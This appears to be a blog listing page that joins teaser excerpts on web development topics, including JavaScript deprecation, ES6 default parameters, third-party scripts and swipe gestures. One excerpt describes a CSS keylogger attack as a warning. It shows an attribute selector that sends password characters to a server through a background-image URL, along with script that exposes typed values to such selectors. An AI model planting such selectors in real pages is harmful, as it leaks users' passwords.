I used to think implementing swipe gestures had to be very difficult, but I have recently found myself in a situation where I had to do it and discovered the reality is nowhere near as gloomy as I had imagined.
This article is going to take you, step by step, through the implementation with the least amount of code I could come up with. So, let's jump right into it!
Recently, I had to dig into the topic of code deprecation in JavaScript. I feel like this topic gets less coverage even though it may a play key role in certain projects, especially when working in bigger teams or dealing with external APIs.
In JavaScript-land, I don't know of any true industry standards for deprecating JavaScript. It could be different per any team, library or vendor.
That’s why my goal here is to sum up my findings and thoughts on this topic, alongside some good practices when it’s time to mark a JavaScript method obsolete.
Scary little attack using essentially a bunch of attribute selectors like this:
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}At first, I was like wait a minute, you can't select inputs based on what people type in them but only what's set on the attribute itself. Max Chehab shows how it is possible, however, because React uses "controlled components" that do this by default. Not to mention you can apply the typed value to the attribute easily like:
const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
inp.setAttribute('value', inp.value)
});How useful and widespread is it to select inputs based on the value attribute like this? I'm not sure I would miss it if it got yanked.
Raise your hand if this sounds like you:
You’ve been in the tech industry for a number of years, you know HTML and CSS inside-and-out, and you make a good living. But, you have a little voice in the back of your head that keeps whispering, "It’s time for something new, for the next step in your career. You need to learn programming."
Yep, same here.
I’ve recently begun doing more research into what’s new in JavaScript, catching up on a lot of the new features and syntax improvements that have been included in ES6 (i.e. ES2015 and later).
You’ve likely heard about and started using the usual stuff: arrow functions, let and const, rest and spread operators, and so on. One feature, however, that caught my attention is the use of default parameters in functions, which is now an official ES6+ feature. This is the ability to have your functions initialize parameters with default values even if the function call doesn’t include them.
The feature itself is pretty straightforward in its simplest form, but there are quite a few subtleties and gotchas that you’ll want to note, which I’ll try to make clear in this post with some code examples and demos.
Those of us who celebrate Christmas or Hannukkah probably have strong memories of the excitement of December. Do you remember the months leading up to Christmas, when your imagination exploded with ideas, answers to the big question "What do you want for Christmas?" As a kid, because you aren't bogged down by adult responsibility and even the bounds of reality, the list could range anywhere from "legos" to "a trip to the moon" (which is seeming like will be more likely in years to come).
Thinking outside of an accepted base premise—the confines of what we know something to be—can be a useful mental exercise. I love JavaScript, for instance, but what if, like Christmas as a kid, I could just decide what it could be? There are small tweaks to the syntax that would not change my life, but make it just that much better. Let's take a look.
As my coworker and friend Brian Holt says,
Get out your paintbrushes! Today, we're bikeshedding!
There has been a lot of research on the landscape this year! Here are a few snippets from a bunch of articles. There is a ton of information in each, so I'm just picking out a few juicy quotes from each here.
Perhaps the most interesting bit is how different the data looked at is. Each of these is different: a big developer survey, npm data, GitHub data, and StackOverflow data. Yet, they mostly tell the same stories.
I saw Nicole Dominguez tweet this the other day:
say it louder for the people in the backhttps://t.co/prDKo5QaZi
— nicole (@sodevious) January 11, 2018
I wasn't at this conference, so I have very little context. Normally, I'd consider it a sin to weigh in on a subject brought up by looking at two out-of-context slides, but I'm only weighing in out of interest and to continue the conversation.
My latest realization is that delivering a performant, accessible, responsive, scalable website isn’t enough: I also need to consider the impact of third-party scripts. No matter how solid I think my prototype is, it doesn’t absolve me from paying attention to what happens during implementation, specifically when it comes to the addition of these third-party scripts.
I recently had a conversation with a friend working on quite a high profile e-commerce site. They were hired to develop the site, but particularly with performance in mind. They were going the PWA route, but were immediately hamstrung by third-party scripts. One of them, apparently unavoidably, couldn't be HTTPS, meaning the site was immediately disqualified from being a PWA. They could still do a good job in many other areas, but right and left their great performance work was slaughtered by third-party scripts. I don't envy being in that position.
Sarah made these incredibly handy interactive code reference... thingers.
The idea is perfect. I'm in this position regularly. I know what I have (i.e. an array or an object). I know what I want to do with it (i.e. get an array of all the keys in my object). But I forget the actual method name. These thingers guide you to the right method by letting you tell it what you got and what you wanna do.